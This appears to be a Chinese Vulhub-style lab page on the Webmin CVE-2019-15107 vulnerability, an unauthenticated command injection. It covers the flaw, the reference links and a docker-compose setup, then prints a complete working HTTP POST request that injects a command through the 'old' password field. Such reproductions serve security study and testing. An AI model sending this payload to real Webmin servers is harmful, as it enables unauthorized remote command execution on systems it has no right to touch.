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49 lines
1.6 KiB
Markdown
49 lines
1.6 KiB
Markdown
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# Webmin 远程命令执行漏洞 CVE-2019-15107
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## 漏洞描述
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Webmin是一个用于管理类Unix系统的管理配置工具，具有Web页面。在其找回密码页面中，存在一处无需权限的命令注入漏洞，通过这个漏洞攻击者即可以执行任意系统命令。
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参考链接：
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- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
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- https://www.exploit-db.com/exploits/47230
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- https://blog.firosolutions.com/exploits/webmin/
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## 环境搭建
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Vulhub执行如下命令，启动webmin 1.910：
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```
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docker-compose up -d
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```
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执行完成后，访问`https://your-ip:10000`，忽略证书后即可看到webmin的登录页面。
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## 漏洞复现
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参考链接中的数据包是不对的，经过阅读代码可知，只有在发送的user参数的值不是已知Linux用户的情况下（而参考链接中是`user=root`），才会进入到修改`/etc/shadow`的地方，触发命令注入漏洞。
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发送如下数据包，即可执行命令`id`：
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```
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POST /password_change.cgi HTTP/1.1
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Host: your-ip:10000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Cookie: redirect=1; testing=1; sid=x; sessiontest=1
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Referer: https://your-ip:10000/session_login.cgi
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 60
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user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
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```
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